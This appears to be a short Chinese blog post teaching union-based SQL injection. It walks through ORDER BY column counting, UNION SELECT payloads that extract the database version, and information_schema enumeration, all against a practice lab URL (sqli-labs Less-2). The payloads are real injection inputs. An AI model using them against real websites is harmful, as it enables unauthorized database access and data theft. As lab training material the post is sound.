zoukankan      html  css  js  c++  java
  • SQL注入(2)

    SQL注入
    id  title  content  time  author

    select * from news where id = 1;

    select 1,2,3,4,5,6 from tables where

    select version();

    select * from news where id = 1 order by 1;  用order by进行列数排序查询列数

     select * from holder where id = 1 union select 1,2,3,4,version();  用union连接输出两个SQL查询语句,必须列数相

    实战:http://10.1.2.5:10631/sqli/Less-2/?id=1

       首先http://10.1.2.5:10631/sqli/Less-2/?id=1 相当于select * from holder where id = 1;

      http://10.1.2.5:10631/sqli/Less-2/?id=1 order by 1 去查询列数

      因为排序页面只显示第一条数据,所以http://10.1.2.5:10631/sqli/Less-2/?id=0 union select 1,2,version()过滤掉第一条数据输出想要的数据--版本号

    group_concat() 显示查询到所有的列

    information_schema一个库

          schemata:保存所有数据库的名字

          tables:保存说有表的名字

          columns:保存所有字段的名字

    感觉不错的,点个关注,

    评论区里留下你们想知道的。下一期给出你们答案。

     
  • 相关阅读:
    PHP 之sha256 sha512封装
    PHP 之中文转为拼音
    Redis 之仿微博demo
    PHP操作Redis相关函数
    存储过程和变量
    视图
    查询
    约束
    基础一
    轮播图--JS手写
  • 原文地址:https://www.cnblogs.com/biaochen/p/11307222.html
Copyright © 2011-2022 走看看